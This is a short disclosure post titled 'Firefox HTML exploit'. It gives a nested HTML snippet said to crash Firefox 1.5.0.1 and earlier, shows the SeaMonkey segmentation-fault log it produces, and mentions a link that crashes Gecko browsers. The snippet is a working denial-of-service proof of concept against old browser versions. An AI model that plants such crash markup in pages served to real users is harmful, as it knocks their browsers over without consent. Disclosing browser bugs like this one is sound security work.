Firefox HTML exploit

The following code makes Firefox <= 1.5.0.1 to crash

          <legend>
            <kbd>
                <object>
                  <h4>
                </object>
            </kbd>

This is how seamonkey complains about it:

/usr/local/seamonkey/run-mozilla.sh: line 131: 12147 Segmentation fault      "$prog" ${1+"$@"}

Here the advisory

Opening this link will crash your Gecko powered browser